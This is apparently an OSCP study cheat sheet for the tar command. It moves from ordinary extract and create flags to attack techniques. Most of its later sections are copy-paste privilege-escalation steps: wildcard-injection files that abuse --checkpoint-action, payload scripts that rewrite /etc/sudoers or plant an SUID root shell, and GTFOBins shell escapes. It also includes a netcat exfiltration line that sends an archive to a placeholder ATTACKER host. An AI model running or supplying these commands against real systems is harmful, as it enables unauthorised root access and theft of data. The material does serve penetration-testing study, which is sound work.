tar

tar — Archive Tool

Ctrl+F: tar xvf · tar czf · tar tzf · -x · -c · -v · -f · --checkpoint

tar bundles files into a single archive (.tar, .tar.gz, .tgz, .tar.bz2). On OSCP: extract looted backups, create archives for exfil, and abuse wildcard + checkpoint for privesc.

→ Archives - unzip 7z zip · Install Download and Run

---

Flag anatomy — tar xvf file

Most common extract command:

tar xvf file.tar

Letter	Long option	Meaning
x	--extract	Extract files from archive
v	--verbose	Verbose — list files as they extract
f	--file=	File — archive name follows (required last in short form)

Order matters: options first, f immediately before filename.

tar -xvf backup.tar
tar -xvf backup.tar -C /tmp/          # extract into /tmp/
tar xf backup.tar                     # quiet extract (no -v)

---

📌 Extract (read archives)

Archive	List contents	Extract
.tar	tar -tvf file.tar	tar -xvf file.tar
.tar.gz / .tgz	tar -tzf file.tar.gz	tar -xzvf file.tar.gz
.tar.bz2	tar -tjvf file.tar.bz2	tar -xjvf file.tar.bz2

tar xvf file.tar
tar -xzvf file.tar.gz
tar -xjvf file.tar.bz2
tar -xzvf tool.tar.gz -C /opt/        # extract into /opt/

Extra flag	Meaning
z	gzip (.tar.gz)
j	bzip2 (.tar.bz2)
t	List only (don’t extract)
-C dir	Change to dir before extract/create

---

📌 Create (write archives)

tar -cvf archive.tar file1 file2 dir/
tar -czvf backup.tar.gz ./folder/     # gzip compress
tar -czvf flask.tar.gz *              # wildcard — privesc context below
tar -cjvf backup.tar.bz2 ./folder/    # bzip2

Letter	Meaning
c	Create new archive
z	gzip while creating
j	bzip2 while creating

---

📌 Common flags reference

Flag	Long	Description
-c	--create	Create archive
-x	--extract	Extract archive
-t	--list	List contents
-f FILE	--file=FILE	Archive filename
-v	--verbose	Verbose output
-z	--gzip	Filter through gzip
-j	--bzip2	Filter through bzip2
-C DIR	--directory=DIR	Change to DIR first
--exclude=PATTERN		Skip matching paths
-p	--preserve-permissions	Keep permissions
--checkpoint=N		Action every N records (privesc)
--checkpoint-action=exec=CMD		Run CMD at checkpoint

---

📌 Privesc — checkpoint & wildcard abuse

Why: Shell expands * before tar runs. Files you create whose names look like flags (--checkpoint=1, etc.) become tar arguments — not files to archive. If root (cron or sudo tar … *) runs tar in your writable dir → your checkpoint-action runs as root.

→ Linux > Wildcard injection in cron (tar *) · sudo · Restricted Shell Escape

---

Worked example — james / blaze (sudo tar … * in /tmp)

Trigger: User can run (or cron runs):

sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *

You: writable CWD (e.g. /tmp) when that command runs.

1. Payload — overwrites /etc/sudoers with passwordless root for your user:

cd /tmp
 
cat > payload.sh << 'EOF'
#!/bin/sh
echo 'james ALL=(root) NOPASSWD: ALL' > /etc/sudoers
EOF
chmod +x payload.sh

2. Wildcard trap files — names become tar flags when * expands:

echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh payload.sh'

Filename	tar reads it as
--checkpoint=1	Checkpoint every 1 file
--checkpoint-action=exec=sh payload.sh	Run payload.sh at checkpoint

3. Trigger — run sudo tar (or wait for cron):

sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *

4. Verify root:

sudo -l
sudo su

What happened: Expanded command is effectively:

sudo /usr/bin/tar -czvf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh payload.sh payload.sh ...

tar runs as root → executes payload.sh → you own sudoers.

Append instead of overwrite (safer on some boxes — keeps existing sudoers lines):

echo 'james ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers

---

Wildcard injection (cron — copy/paste)

cd /writable/dir
 
cat > payload.sh << 'EOF'
#!/bin/sh
echo 'YOURUSER ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
EOF
chmod +x payload.sh
 
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh payload.sh'
 
# Wait for root cron, e.g. tar -czf backup.tar.gz *
# Or if you have sudo tar:
sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *

Alternative — touch instead of echo "" >:

touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh payload.sh"

SUID bash payload instead of sudoers:

cat > payload.sh << 'EOF'
#!/bin/sh
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x payload.sh
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh payload.sh'
# After trigger: /tmp/rootbash -p

---

Direct checkpoint exec (GTFOBins — no wildcard needed)

tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar --checkpoint=1 --checkpoint-action=exec=/usr/bin/id -cf archive.tar *

Demo

mkdir /tmp/tartest && cd /tmp/tartest
echo hi > a
tar --checkpoint=1 --checkpoint-action=exec=/usr/bin/id -cf out.tar *

---

📌 Pass-through — do NOT extract

Some tools consume the .tar.gz file directly:

Use case	Command	Do NOT
LXC image import	lxc image import file.tar.gz	tar -xzf first
LXC privesc (EDB-46978)	./exx -f file.tar.gz	extract manually

→ lxc - LXD Privilege Escalation - EDB 46978

---

📌 Transfer / exfil with tar

# Directory over netcat (with [[Netcat]])
tar czf - /path/to/dir | nc ATTACKER 4444
# Receiver:
nc -lvnp 4444 | tar xzf -
 
# Single stream extract on Kali
nc -lvnp 4444 | tar xzf -

---

📌 Quick cheat sheet

# Extract
tar xvf file.tar
tar -xzvf file.tar.gz
tar -tzf file.tar.gz              # list only
 
# Create
tar -czvf backup.tar.gz ./dir/
 
# Privesc — blaze / james (sudo tar * in /tmp)
cd /tmp
cat > payload.sh << 'EOF'
#!/bin/sh
echo 'james ALL=(root) NOPASSWD: ALL' > /etc/sudoers
EOF
chmod +x payload.sh
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh payload.sh'
sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *
sudo su
 
# Privesc — generic cron / writable dir
cd /writable/dir
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh payload.sh"
# echo 'user ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers  # inside payload.sh
 
# GTFOBins
tar --checkpoint=1 --checkpoint-action=exec=/bin/bash -cf /dev/null x

---

Related Notes

• Archives - unzip 7z zip
• Linux
• Linux > Wildcard injection in cron (tar *))
• Restricted Shell Escape
• lxc - LXD Privilege Escalation - EDB 46978
• Install Download and Run
• Basic Commands
• Shebangs
• ln - symlinks